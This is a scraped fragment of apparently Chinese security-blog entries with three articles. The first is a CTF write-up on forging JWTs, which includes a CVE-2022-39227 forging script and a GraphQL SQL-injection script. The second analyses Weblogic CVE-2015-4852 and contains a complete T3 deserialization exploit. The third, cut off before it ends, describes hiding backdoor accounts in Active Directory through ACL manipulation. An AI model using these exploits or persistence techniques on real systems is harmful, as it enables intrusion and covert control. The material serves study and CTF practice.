\r\n\r\n注:这里安装jwt模块的时候,安装的模块是PyJWT模块,同时不要给脚本名字命名为jwt.py,否则运行脚本时就会发生报错。\r\n\r\n接下来运行脚本\r\n\r\n得到JWT\r\n\r\neyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTY2ODg3MTI5MywiZXhwIjoxNjY4ODc4NDkzLCJuYmYiOjE2Njg4NzEyOTMsInN1YiI6ImFkbWluIiwianRpIjoiOTg5MmI5ZDk5MDk4YmEyMjk4OTFiZWRjZmE4NTZiNjEifQ.\r\n\r\n去靶场中替换一下,同时访问admin界面\r\n\r\nWeb347\r\n\r\n\r\n提示弱口令,这里应该说的是密钥,先记着进入环境后找到JWT去对应网站解码\r\n\r\nHS256加密方式,我们这里的话需要猜解一下密钥,然后修改才有效,既然提示了弱口令,那就可以试试123456这种,修改sub为admin,得到新JWT后去靶场中修改JWT,然后访问admin界面\r\n\r\n\r\nWeb348\r\n\r\n题目提示爆破,这里就需要先介绍一个爆破工具了,链接如下https:\u002F\u002Fgithub.com\u002Fbrendan-rius\u002Fc-jwt-cracker安装方式也很简单\r\n\r\n1、git clone https:\u002F\u002Fgithub.com\u002Fbrendan-rius\u002Fc-jwt-cracker #下载\r\n2、make #编译\r\n3、.\u002Fjwtcrack JWT #使用\r\n\r\n这里将靶场中的JWT放入其中\r\n\r\n爆破出密钥为aaab,接下来方法就同上,在解码网站中,修改sub为admin,同时添加密钥为aaab,然后拿着得到的新JWT,去替换网站的JWT,再去访问admin界面即可。\r\n\r\nWeb349\r\n\r\n题目给了一个附件,内容如下\r\n\r\n\u002F* GET home page. *\u002F\r\nrouter.get('\u002F', function(req, res, next) {\r\n  res.type('html');\r\n  var privateKey = fs.readFileSync(process.cwd()+'\u002F\u002Fpublic\u002F\u002Fprivate.key');\r\n  var token = jwt.sign({ user: 'user' }, privateKey, { algorithm: 'RS256' });\r\n  res.cookie('auth',token);\r\n  res.end('where is flag?');\r\n  \r\n});\r\n \r\nrouter.post('\u002F',function(req,res,next){\r\n var flag=\"flag_here\";\r\n res.type('html');\r\n var auth = req.cookies.auth;\r\n var cert = fs.readFileSync(process.cwd()+'\u002F\u002Fpublic\u002Fpublic.key');  \u002F\u002F get public key\r\n jwt.verify(auth, cert, function(err, decoded) {\r\n  if(decoded.user==='admin'){\r\n res.end(flag);\r\n }else{\r\n res.end('you are not admin');\r\n }\r\n });\r\n});\r\n\r\n这里发现可以获取公钥和私钥,RSA是用私钥加密,公钥解密,那么我们这里有私钥了,就可以自己写内容,然后用私钥加密,接下来用公钥解密就是我们伪造的内容,所以接下来访问url \u002Fprivate.key获取私钥,然后写个小脚本即可\r\n\r\nimport jwt\r\npublic = open('private.key', 'r').read()\r\npayload={\"user\":\"admin\"}\r\nprint(jwt.encode(payload, key=public, algorithm='RS256'))\r\n\r\n接下来替换JWT,然后post访问\r\n\r\nweb350\r\n\r\n题目给了附件,在里面发现公钥\r\n\r\n这里的话应该考察的就是算法修改攻击,然后我们这里修改算法为HS256,而后用公钥加密,脚本如下\r\n\r\nconst jwt = require('jsonwebtoken');\r\nvar fs = require('fs');\r\nvar privateKey = fs.readFileSync('public.key');\r\nvar token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });\r\nconsole.log(token)\r\n\r\n运行脚本需要安装jsonwebtoken库\r\n\r\n得到JWT后替换一下,然后post发包即可获取flag\r\n\r\n[祥云杯2022]FunWeb\r\n\r\n注:因为这道题没有复现环境了,所以我这里的部分图片是来源于网上,参考的是X1r0z大师傅的https:\u002F\u002Fexp10it.cn\u002F2022\u002F10\u002F2022-%E7%A5%A5%E4%BA%91%E6%9D%AF-web-writeup\u002F#funweb%E5%A4%8D%E7%8E%B0\r\n\r\n进入环境后是个注册界面,接下来随便注册账号后进行登录\r\n\r\n发现上方是有两个功能点的\r\n\r\n抓获取成绩包后发现这里提示no admin同时发现JWT,想到这里可能需要伪造JWT,JWT最近新出的漏洞是CVE-2022-39227。那么我们就可以尝试用这个漏洞来进行伪造JWT,伪造JWT脚本如下所示\r\n\r\nfrom datetime import timedelta\r\nfrom json import loads, dumps\r\nfrom jwcrypto.common import base64url_decode, base64url_encode\r\n \r\ndef topic(topic):\r\n    \"\"\" Use mix of JSON and compact format to insert forged claims including long expiration \"\"\"\r\n   [header, payload, signature] = topic.split('.')#点分\r\n    parsed_payload = loads(base64url_decode(payload))#解码\r\n    parsed_payload['is_admin'] = 1#伪造\r\n    fake_payload = base64url_encode((dumps(parsed_payload, separators=(',', ':'))))#编码\r\n    return '{\" ' + header + '.' + fake_payload + '.\":\"\",\"protected\":\"' + header + '\", \"payload\":\"' + payload + '\",\"signature\":\"' + signature + '\"}'#生成恶意载荷\r\ntoken = topic('eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2NjcxMzcwMzAsImlhdCI6MTY2NzEzNjczMCwiaXNfYWRtaW4iOjAsImlzX2xvZ2luIjoxLCJqdGkiOiJ4YWxlR2dadl9BbDBRd1ZLLUgxb0p3IiwibmJmIjoxNjY3MTM2NzMwLCJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiMTIzIn0.YnE5tK1noCJjultwUN0L1nwT8RnaU0XjYi5iio2EgbY7HtGNkSy_pOsn\nprint(token)\r\n\r\n接下来想到我们抓的包的文件名是graphql,而且还有POST参数,可能存在graphql注入。https:\u002F\u002Fwww.leavesongs.com\u002Fcontent\u002Ffiles\u002Fslides\u002F%E6%94%BB%E5%87%BBGraphQL.pdf而后使用 getscoreusingnamehahaha方法查询表结构。\r\n\r\n{\"query\": \"\"\"{ getscoreusingnamehahaha(name: \"null' union select group_concat(sql) FROM sqlite_master; --\"){ score name } }\"\"\"}\r\n\r\n返回结果如下\r\n\r\nCREATE TABLE users(\r\n   ID INTEGER PRIMARY KEY,\r\n   NAME TEXT NOT NULL,  \r\n   PASSWORD TEXT NOT NULL,\r\n   SCORE TEXT NOT Null   \r\n)\r\n\r\n因此可以用这个来查询admin用户成绩,构造最终payload如下。\r\n\r\nimport json\r\nfrom jwcrypto.common import base64url_decode, base64url_encode\r\nimport httpx\r\n \r\nsession = httpx.Client(base_url=\"http:\u002F\u002Fxxx.com\u002F\")\r\nsession.post(\"\u002Fsignin\", json={\r\n    \"username\": \"test\",\r\n    \"password\": \"111\"\r\n   }\r\n)\r\n_ = session.cookies.get(\"token\")\r\n[header, payload, signature] = _.split('.')\r\nparsed_payload = json.loads(base64url_decode(payload))\r\nparsed_payload['is_admin'] = 1\r\nfake_payload = base64url_encode((json.dumps(parsed_payload, separators=(',', ':'))))\r\nforged_jwt = '{\" ' + header + '.' + fake_payload + '.\":\"\",\"protected\":\"' + header + '\", \"payload\":\"' + payload + '\",\"signature\":\"' + signature + '\"}'\r\nsession.cookies.delete(\"token\")\r\nsession.cookies.set(\"token\", forged_jwt)\r\n \r\ndata = {\"query\": \"\"\"{ getscoreusingnamehahaha(name: \"null' union select password FROM users WHERE name='admin'; --\"){ score name } }\"\"\"}\r\nresponse = session.post(\"\u002Fgraphql\", data=data)\r\nprint(response.text)\r\n\r\n得到密码后去登录即可得到flag\r\n\r\n[CISCN2019 华北赛区 Day1 Web2]ikun\r\n\r\n进入后发现有登录和注册界面,常规操作先注册后登录\r\n\r\n提示要买到lv6,下划后发现可以买等级\r\n\r\n这里没有lv6,点击下一页看看仍然没有找到lv6,但发现参数是GET型传参\r\n\r\n这意味着我们可以写个小脚本来查找lv6所在位置发现lv3对应的代码是lv3.png,那么lv6对应的就是lv6.png\r\n\r\n脚本如下\r\n\r\nimport time\r\nimport requests\r\nurl = \"http:\u002F\u002F8e197801-2f87-4e36-aee6-a2390b0f391e.node4.buuoj.cn:81\u002Fshop?page=\"\r\nfor i in range(1,300):\r\n    res = requests.get(url+str(i))\r\n    time.sleep(0.5)\r\n    if \"lv6.png\" in res.text:\r\n        print(i)\r\n        break\r\n\r\n\r\n181页,找到后发现价格是天价,买不起\r\n\r\n这里抓包看一下\r\n\r\n发现可以修改折扣,把这个discount修改为0.00000000000001然后发包\r\n\r\n跳转到了另一个界面但无权限访问再抓包\r\n\r\n发现JWT,解码一下(解码网站https:\u002F\u002Fjwt.io\u002F)\r\n\r\n我们这里想实现修改root为admin,需要有密钥,爆破密钥可以用工具c-jwt-cracker得到,链接如下https:\u002F\u002Fgithub.com\u002Fbrendan-rius\u002Fc-jwt-cracker破解后得到密钥为1Kun\r\n\r\n抓包,将得到的值赋给JWT,再发包接下来就是读取源码,然后进行Python反序列化获取最终flag,这里不再演示。\r\n\r\n后言\r\n\r\nJWT的靶场有很多个,我这里也只是利用了CTFhub和portswig等来进行演示,还有一些靶场例如https:\u002F\u002Fjwt-lab.herokuapp.com\u002Fchallenges也是比较好的,但鉴于考察点相似,这里不再演示,有兴趣的师傅可以自行尝试。然后还有就是这里的CVE漏洞的分析我主要参考了我们战队lemon大师傅的讲解,大家也可以看一下哇,视频链接如下https:\u002F\u002Fwww.bilibili.com\u002Fvideo\u002FBV15d4y1F7i3\u002F?spm_id_from=333.337.search-card.all.click&vd_source=414113f33a1cd681c43e79",pic:"https:\u002F\u002Fimg-blog.csdnimg.cn\u002F524cefeb774b45caa3519974d92379af.png",openTime:"2022-12-13T16:00:01+08:00",viewsNum:5309},{id:"20221207161331",type:a,title:"CVE-2015-4852 Weblogic T3 反序列化分析",abstract:"0x01 前言\r\n\r\n看到很多师傅的面经里面都有提到 Weblogic 这一个漏洞,最近正好有一些闲暇时间,可以看一看。\r\n\r\n因为环境上总是有一些小问题,所以会在本地和云服务器切换着调试。\r\n\r\n0x02 环境搭建\r\n\r\n太坑了,我的建议是用本地搭建的方法,因为用 docker 搭建,会产生依赖包缺失的问题,本地搭建指南 https:\u002F\u002Fwww.penson.top\u002Farticle\u002Fav40\r\n\r\n这里环境安装用的是 奇安信 A-team 大哥提供的脚本,不得不说实在是太方便了!省去了很多环境搭建中不必要的麻烦\r\n\r\n链接:https:\u002F\u002Fgithub.com\u002FQAX-A-Team\u002FWeblogicEnvironment\r\n\r\n下载对应版本的 JDK 和 Weblogic 然后分别放在 jdks 和 weblogics 中\r\n\r\nJDK安装包下载地址:https:\u002F\u002Fwww.oracle.com\u002Ftechnetwork\u002Fjava\u002Fjavase\u002Farchive-139210.html\r\n\r\nWeblogic安装包下载地址:https:\u002F\u002Fwww.oracle.com\u002Ftechnetwork\u002Fmiddleware\u002Fweblogic\u002Fdownloads\u002Fwls-for-dev-1703574.html\r\n\r\n我这里直接用的 kali 搭建,需要先把 jdk 和 weblogic 放到文件夹里面,如图\r\n\r\n首先要先改写一下 Dockerfile,原作者写的 Dockerfile 有一点小问题\r\n\r\n# 基础镜像\r\nFROM centos:centos7\r\n# 参数\r\nARG JDK_PKG\r\nARG WEBLOGIC_JAR\r\n# 解决libnsl包丢失的问题\r\n# RUN yum -y install libnsl\r\n \r\n# 创建用户\r\nRUN groupadd -g 1000 oinstall && useradd -u 1100 -g oinstall oracle\r\n# 创建需要的文件夹和环境变量\r\nRUN mkdir -p \u002Finstall && mkdir -p \u002Fscripts\r\nENV JDK_PKG=$JDK_PKG\r\nENV WEBLOGIC_JAR=$WEBLOGIC_JAR\r\n \r\n# 复制脚本\r\nCOPY scripts\u002Fjdk_install.sh \u002Fscripts\u002Fjdk_install.sh \r\nCOPY scripts\u002Fjdk_bin_install.sh \u002Fscripts\u002Fjdk_bin_install.sh \r\n \r\nCOPY scripts\u002Fweblogic_install11g.sh \u002Fscripts\u002Fweblogic_install11g.sh\r\nCOPY scripts\u002Fweblogic_install12c.sh \u002Fscripts\u002Fweblogic_install12c.sh\r\nCOPY scripts\u002Fcreate_domain11g.sh \u002Fscripts\u002Fcreate_domain11g.sh\r\nCOPY scripts\u002Fcreate_domain12c.sh \u002Fscripts\u002Fcreate_domain12c.sh\r\nCOPY scripts\u002Fopen_debug_mode.sh \u002Fscripts\u002Fopen_debug_mode.sh\r\nCOPY jdks\u002F$JDK_PKG .\r\nCOPY weblogics\u002F$WEBLOGIC_JAR .\r\n \r\n# 判断jdk是包(bin\u002Ftar.gz)weblogic包(11g\u002F12c)载入对应脚本\r\nRUN if [ $JDK_PKG == *.bin ] ; then echo ****载入JDK bin安装脚本**** && cp \u002Fscripts\u002Fjdk_bin_install.sh \u002Fscripts\u002Fjdk_install.sh ; else echo ****载入JDK tar.gz安装脚本**** ; fi\r\nRUN if [ $WEBLOGIC_JAR == *1036* ] ; then echo ****载入11g安装脚本**** && cp \u002Fscripts\u002Fweblogic_install11g.sh \u002Fscripts\u002Fweblogic_install.sh && cp \u002Fscripts\u002Fcreate_domain11g.sh \u002Fscripts\u002Fcreate_domain.sh ; else echo ****载入12c安装脚本**** && cp \u002Fscripts\u002Fweblogic_install12c.sh \u002Fscripts\u002Fweblogic_install.sh && cp \u002Fscr\n \r\n# 脚本设置权限及运行\r\nRUN chmod +x \u002Fscripts\u002Fjdk_install.sh\r\nRUN chmod +x \u002Fscripts\u002Fweblogic_install.sh\r\nRUN chmod +x \u002Fscripts\u002Fcreate_domain.sh\r\nRUN chmod +x \u002Fscripts\u002Fopen_debug_mode.sh\r\n# 安装JDK\r\nRUN \u002Fscripts\u002Fjdk_install.sh\r\n# 安装weblogic\r\nRUN \u002Fscripts\u002Fweblogic_install.sh\r\n# 创建Weblogic Domain\r\nRUN \u002Fscripts\u002Fcreate_domain.sh\r\n# 打开Debug模式\r\nRUN \u002Fscripts\u002Fopen_debug_mode.sh\r\n# 启动 Weblogic Server\r\n# CMD [\"tail\",\"-f\",\"\u002Fdev\u002Fnull\"]\r\nCMD [\"\u002Fu01\u002Fapp\u002Foracle\u002FDomains\u002FExampleSilentWTDomain\u002Fbin\u002FstartWebLogic.sh\"]\r\nEXPOSE 7001\r\n\r\n接着起环境\r\n\r\ndocker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=wls1036_generic.jar  -t weblogic1036jdk7u21 .\r\n \r\ndocker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic1036jdk7u21 weblogic1036jdk7u21\r\n\r\n再把 docker 当中的一些依赖文件夹拷出来,但是这一步经过我测试,感觉 docker 当中的 lib 存在一定问题,所以后续把 weblogic 的库拿进来就可以了,对应的代码我会放在 GitHub 上,避免师傅们踩坑。\r\n\r\n0x03 基础知识\r\n\r\n关于 Weblogic\r\n\r\n首先说一说 Weblogic 吧,Weblogic 就和 Tomcat 差不多,从功能上来说就是两个 Web 服务端,也是启动器。\r\n\r\n和 Tomcat 不同的地方在于,Weblogic 可以自己部署很多东西,要知道,在 Tomcat 当中,这些都是需要自己写代码的。\r\n\r\nT3 协议\r\n\r\nT3 协议其实是 Weblogic 内独有的一个协议,在 Weblogic 中对 RMI 传输就是使用的 T3 协议。在 RMI 传输当中,被传输的是一串序列化的数据,在这串数据被接收后,执行反序列化的操作。\r\n\r\n在 T3 的这个协议里面包含请求包头和请求的主体这两部分内容。\r\n\r\n我们可以拿 CVE-2015-4852 的 EXP 来讲解\r\n\r\nEXP 如下\r\n\r\nimport socket\r\nimport sys\r\nimport struct\r\nimport re\r\nimport subprocess\r\nimport binascii\r\n \r\ndef get_payload1(gadget, command):\r\n    JAR_FILE = '.\\ysoserial.jar'\r\n    popen = subprocess.Popen(['java', '-jar', JAR_FILE, gadget, command], stdout=subprocess.PIPE)\r\n    return popen.stdout.read()\r\n \r\ndef get_payload2(path):\r\n    with open(path, \"rb\") as f:\r\n        return f.read()\r\n \r\ndef exp(host, port, payload):\r\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n    sock.connect((host, port))\r\n \r\n    handshake = \"t3 12.2.3\\nAS:255\\nHL:19\\nMS:10000000\\n\\n\".encode()\r\n    sock.sendall(handshake)\r\n    data = sock.recv(1024)\r\n    pattern = re.compile(r\"HELO:(.*).false\")\r\n    version = re.findall(pattern, data.decode())\r\n    if len(version) == 0:\r\n        print(\"Not Weblogic\")\r\n        return\r\n \r\n    print(\"Weblogic {}\".format(version[0]))\r\n    data_len = binascii.a2b_hex(b\"00000000\") #数据包长度,先占位,后面会根据实际情况重新\r\n    t3header = binascii.a2b_hex(b\"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006\") #t3协议头\r\n    flag = binascii.a2b_hex(b\"fe010000\") #反序列化数据标志\r\n    payload = data_len + t3header + flag + payload\r\n    payload = struct.pack('\u003EI', len(payload)) + payload[4:] #重新计算数据包长度\r\n    sock.send(payload)\r\n \r\nif __name__ == \"__main__\":\r\n    host = \"81.68.120.14\"\r\n    port = 7001\r\n    gadget = \"Jdk7u21\" #CommonsCollections1 Jdk7u21\r\n    command = \"Calc\"\r\n \r\n    payload = get_payload1(gadget, command)\r\n    exp(host, port, payload)\r\n\r\n这里有一个小坑,我直接运行 py 程序是不行的,会回显 Not Weblogic,因为 python socket 如果是频繁发包,会被服务端所拒绝,所以需要以 debug 模式运行。当然如果增添 sleep 应该也是可以实现的。\r\n\r\nWeblogic 请求包头\r\n\r\n我们需要通过 Wireshark 对这一个流量包执行抓包操作,后续抓到包的请求头如图\r\n\r\n这一个就是它请求包的头\r\n\r\nt3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3:\u002F\u002Fus-l-breens:7001\r\n\r\n在发送该请求包头后,服务端 Weblogic 会有一个响应,内容如下\r\n\r\nHELO:10.3.6.0.false\r\nAS:2048\r\nHL:19\r\n\r\nHELO 后面的内容则是被攻击方的 Weblogic 版本号,也就是说,在发送正确的请求包头后,服务端会进行一个返回 Weblogic 的版本号。\r\n\r\nWeblogic 请求主体\r\n\r\n请求主体,也就是发送的数据,这些数据分为七部分内容,此处借用 z_zz_zzz师傅的http:\u002F\u002Fdrops.xmd5.com\u002Fstatic\u002Fdrops\u002Fweb-13470.html文章中的一张图\r\n\r\n第一个非 Java 序列化数据,也就是我们的请求头:t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3:\u002F\u002Fus-l-breens:7001\r\n\r\n后面第 n 部分的数据,其实是不限制的,也就是说,我可以只有一部分的 Java 序列化数据,也可以有七部分的 Java 序列化数据,这并不重要,我们可以看观察一下 Wireshark 抓的包\r\n\r\n在 ac ed 00 05 之后的内容便是序列化的数据,所以如果我们要进行攻击,应该是对于这一串序列化的数据进行恶意构造,让服务端在反序列化的时候发起攻击。\r\n\r\n而此处,如果有多个 Java 序列化的数据,可以对任一一个数据进行攻击即可。\r\n\r\n0x04 漏洞分析与调试\r\n\r\n寻找尾部漏洞点\r\n\r\n毕竟是反序列化的漏洞,思考了一下从两个点入手。\r\n\r\n1、是否存在 Jndi 注入2、是否有能够命令执行的利用点\r\n\r\nJndi 注入的链尾探索\r\n\r\n怀着这样的思路,先全局搜索 Jndi 关键词,感觉我这样的做法应该很不精准,但是暂时找不到其他好的方法,应该是要借助一些插件或者工具什么的了。\r\n\r\n这里有一个 JndiServiceImpl 类,看着不错,点进去看看,它的 invoke() 方法同样吸引人,点过去之后发现疑似存在 jndi 注入\r\n\r\n不过这里虽然参数 ———— this.implJndiName 是可控的,但是无法进行攻击,因为只能对 java:comp\u002Fenv\u002F 进行探测,无法对 rmi, jndi, ldap 三者进行有效的调用,初步告吹了。\r\n\r\n重新换一个类,这里我找到的是 JndiAttrs 类,在它的构造函数中存在调用 ldap 的现象,在第 40 行\r\n\r\n从第六个字符开始截取,存在一些绕过手法,这个并不要紧,而 providerURL 最后会被 put 进 env 当中,env 是一个 Properties 类\r\n\r\n继续往下分析,env 作为 InitialDirContext 类的构造函数的传参。\r\n\r\n一路跟进,是到了 InitialContext 的构造函数,跟进 init() 方法\r\n\r\n跟进 getDefaultInitCtx() 方法,再跟进 NamingManager.getInitialContext(myProps),发现只是 loadClass 了一个对象,寄,白给。\r\n\r\n诸如此类链尾的尝试还有很多,师傅们可以自行尝试,我这只是在抛砖引玉。由于篇幅限制,后续内容我们还是集中于 Weblogic CVE-2015-4852 的漏洞分析。\r\n\r\n漏洞分析\r\n\r\n通过命令 ls -r .\u002F* | grep -i commons,抑或是通过 maven dependency analyze,都可以分析得到 weblogic 10.3.6 的包里面包含有 Commons Collections 3.2.0 的包。\r\n\r\n所以我们现在已经有了链尾,需要寻找一个合适的入口类,这里就直接借用其他师傅们的研究成果了,反序列化的入口类是在 InboundMsgAbbrev#readObject 处,下个断点开始调试。\r\n\r\nWeblogic T3 对于 RMI 传递过来的数据在处理上还是比较绕的,不过有了前面 z_zz_zzz 师傅文章中的那张图,在理解上能够变得简单得多。\r\n\r\n开始调试\r\n\r\n先跟进 ServerChannelInputStream 的构造函数,ServerChannelInputStream 这个类的作用是处理服务端收到的请求头信息\r\n\r\n继续跟进 getServerChannel() 方法\r\n\r\n我们可以关注一下目前的 this.connection 是什么\r\n\r\nconnection 是 weblogic.rjvm.t3.MuxableSocketT3$T3MsgAbbrevJVMConnection@49be5302 这个类,在 this.connection 中主要存储了一些 RMI 连接的数据,包括端口地址等\r\n\r\n跟进 getChannel() 方法,开始处理 T3 协议\r\n\r\nT3 头处理结束,重新回到 InboundMsgAbbrev#readObject 处,跟进 readObject() 方法\r\n\r\n一路跟进至 InboundMsgAbbrev#resolveClass() 中,这里的调用栈如下\r\n\r\nresolveClass:108, InboundMsgAbbrev$ServerChannelInputStream (weblogic.rjvm)\r\nreadNonProxyDesc:1610, ObjectInputStream (java.io)\r\nreadClassDesc:1515, ObjectInputStream (java.io)\r\nreadOrdinaryObject:1769, ObjectInputStream (java.io)\r\nreadObject0:1348, ObjectInputStream (java.io)\r\nreadObject:370, ObjectInputStream (java.io)\r\nreadObject:66, InboundMsgAbbrev (weblogic.rjvm)\r\nread:38, InboundMsgAbbrev (weblogic.rjvm)\r\n\r\nresolveClass() 方法是用来处理类的,这些类在经过反序列化之后会走到 resolveClass() 方法这里,此时的 var1,正是我们的 AnnotationInvocationHandler 类\r\n\r\n这时候的 AnnotationInvocationHandler 类并不会被直接拿去反序列化,因为 Weblogic 服务端需要先加载所有反序列化的内容。在将所有数据反序列化解析完毕之后(也可以说只是做了 Class.forName() 的操作之后),才会开始进行真正的反序列化\r\n\r\n后续就是熟悉的 CC1 链环节,这里不再展开\r\n\r\nPoC 理解\r\n\r\nPoC 本质就是把 ysoserial 生成的 payload 变成 T3 协议里的数据格式,我们需要写入的有几段东西。\r\n\r\n1、Header,这代表了数据包长度2、T3 Header3、反序列化标志,也就是 fe 01 00 00\r\n\r\n所以这三段话是这么来的\r\n\r\nheader = binascii.a2b_hex(b\"00000000\")\r\nt3header = binascii.a2b_hex(b\"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006\")\r\ndesflag = binascii.a2b_hex(b\"fe010000\")\r\n\r\n0x05 漏洞修复\r\n\r\n在 resolveClass 处打补丁\r\n\r\n在前面分析的过程中,我们能够看出来,加载类其实是通过调用 resolveClass() 方法,再通过反射获取到任意类的,所以官方选择了基于 resolveClass() 去做黑名单校验。\r\n\r\n如果在 resolveClass() 处加入一个过滤,在 readNonProxyDesc 调用完 resolveClass 方法后,后面的反序列化操作无法完成。\r\n\r\n通过 Web 代理与 nginx 等负载均衡防御\r\n\r\nWeb 代理的方式只能转发 HTTP 的请求,而不会转发 T3 协议的请求,这就能防御住 T3 漏洞的攻击。当然这对于业务上有很大的影响。同理负载均衡也是,不过负载均衡需要自己手动设置。\r\n\r\n黑名单 bypass\r\n\r\nOracle 官方对于 CVE-2015-4852 的修复是通过黑名单限制的。\r\n\r\n黑名单中的类不会被反序列化\r\n\r\n绕过思路如下\r\n\r\n其实就是由 ServerChannelInputStream 换到了自身的 ReadExternal#InputStream,这一个 bypass 也被收录为 CVE-2016-0638;后续会对这一个漏洞进行分析。\r\n\r\n0x06 小结\r\n\r\n从原理角度上来说还是比较简单的,不过理解 T3 的传输,并且构造恶意 PoC 的过程是非常值得学习的,CVE-2015-4852 为一些类似的攻击提供了思路。",pic:"https:\u002F\u002Fm-1254331109.cos.ap-guangzhou.myqcloud.com\u002F202212071530925.png",openTime:"2022-12-07T16:13:48+08:00",viewsNum:4128},{id:"20221207090440",type:a,title:"如何在Windows AD域中驻留ACL后门",abstract:"前言\r\n\r\n当拿下域控权限时,为了维持权限,常常需要驻留一些后门,从而达到长期控制的目的。Windows AD域后门五花八门,除了常规的的添加隐藏用户、启动项、计划任务、抓取登录时的密码,还有一些基于ACL的后门。\r\n\r\nACL介绍\r\n\r\nACL是一个访问控制列表,是整个访问控制模型(ACM)的实现的总称。常说的ACL主要分为两类,分别为特定对象安全描述符的自由访问控制列表 (DACL) 和系统访问控制列表 (SACL)。对象的 DACL 和 SACL 都是访问控制条目 (ACE) 的集合,ACE控制着对象指定允许、拒绝或审计的访问权限,其中Deny拒绝优先于Allow允许。\r\n\r\nhttps:\u002F\u002Flearn.microsoft.com\u002Fzh-cn\u002Fwindows\u002Fdesktop\u002FSecGloss\u002Fs-gly包含与https:\u002F\u002Flearn.microsoft.com\u002Fzh-cn\u002Fwindows\u002Fwin32\u002Fsecauthz\u002Fsecurable-objects关联的安全信息。 安全描述符由 https:\u002F\u002Flearn.microsoft.com\u002Fzh-cn\u002Fwindows\u002Fdesktop\u002Fapi\u002FWinnt\u002Fns-winnt-security_descriptor 结构和关联的安全信息组成。 安全描述符可以包含以下安全信息::\r\n\r\n1、对象所有者和主组https:\u002F\u002Flearn.microsoft.com\u002Fzh-cn\u002Fwindows\u002Fwin32\u002Fsecauthz\u002Fsecurity-identifiers (SID) 。\r\n\r\n2、指定允许或拒绝特定用户或组的访问权限的 https:\u002F\u002Flearn.microsoft.com\u002Fzh-cn\u002Fwindows\u002Fwin32\u002Fsecauthz\u002Faccess-control-lists 。\r\n\r\n3、一个 https:\u002F\u002Flearn.microsoft.com\u002Fzh-cn\u002Fwindows\u002Fwin32\u002Fsecauthz\u002Faccess-control-lists ,指定为对象生成审核记录的访问尝试的类型。\r\n\r\n4、一组控制位,用于限定安全描述符或其单个成员的含义。\r\n\r\n隐藏安全描述符\r\n\r\n当可控一个用户时,不想该用户被轻易发现,可以对其进行隐藏。首先查看该用户所用者,默认是域管组:\r\n\r\n可以在GUI上对所有者进行修改,也可以使用powerview进行修改:\r\n\r\nSet-DomainObjectOwner -identity jumbo -OwnerIdentity jumbo\r\n\r\n修改完成后:\r\n\r\n因为是权限维持,所以当前权限是域管,先尝试给域管添加一个对jumbo用户Deny所有权限的ACL,但是发现powerview的Add-DomainObjectAcl方法并没有设置Deny权限的操作,只有Allow:\r\n\r\n当然,你可以使用New-ADObjectAccessControlEntry来完成手动ACL的添加,他的原理如下图:\r\n\r\n上图看出还要手动做最后的ACL保存。既然Add-DomainObjectAcl已经完成了自动化的CommitChanges,直接把Allow默认可变的参数不就行了?首先手动在Add-DomainObjectAcl添加一个AccessControlType参数:\r\n\r\n.PARAMETER AccessControlType\r\n \r\nSpecifies the type of ACE (allow or deny)\r\n\r\n设置参数定义:\r\n\r\n[Parameter(Mandatory = $True, ParameterSetName='AccessRuleType')]\r\n[ValidateSet('Allow', 'Deny')]\r\n[String[]]\r\n$AccessControlType,\r\n\r\n删除之前的默认的Allow:\r\n\r\n最后把AccessControlType参数替换之前的ControlType:\r\n\r\n现在就可以在使用AccessControlType参数来给对象添加Allow或者Deny的权限了。\r\n\r\n当尝试域管添加一个对jumbo用户Deny所有权限的ACL后:\r\n\r\nAdd-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -AccessControlType Deny\r\n\r\n当然,把SID改成SamAccountName也是可以的:\r\n\r\nAdd-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -AccessControlType Deny\r\n\r\n可以发现域管也没权限查看jumbo用户的属性了:\r\n\r\n当使用system用户查看jumbo用户ACL时,可以看到对应的Deny的ACL:\r\n\r\n现在域管对jumbo用户已经无法操作任何东西了,先用system用户删除该Deny权限,准备使用powerview的Remove-DomainObjectAcl方法时,发现也只有的Allow,也就是默认只能移除对象的Allow权限,老方法,把删除的ACL属性设置为可变参数:\r\n\r\n进行删除:\r\n\r\nRemove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity S-1-5-21-12312321-1231312-123123-500 -Rights ALL -AccessControlType Deny\r\n\r\n当然,把SID改成SamAccountName也是可以的:\r\n\r\nRemove-DomainObjectAcl -TargetIdentity jumbo -PrincipalIdentity administrator -Rights ALL -AccessControlType Deny\r\n\r\n那么同学们可能会想,如果真的有人进行了上面操作,真的没办法查看了吗,实际上并不是,对象的拥有者是有权限修改的,比如把jumbo用户的拥有者改成默认的域管组,然后对域管进行设置Deny的ACL,但是实际上拥有者依然有权限修改其ACL,这也是为什么在文章开始的时候,要把jumbo拥有者设置为jumbo的目的:\r\n\r\n上面尝试了拒绝域管对jumbo所有的权限,那为了隐藏,并且为了防止后续还要对jumbo用户的一些其他修改,实际上可以对jumbo用户设置everyone拒绝读取的权限即可:\r\n\r\n现在所有用户对其都没有查看权限了:\r\n\r\n当然,只是设置了拒绝读取权限,实际上当域管去修改其ACL权限时,还是可以的:\r\n\r\n现在通过net 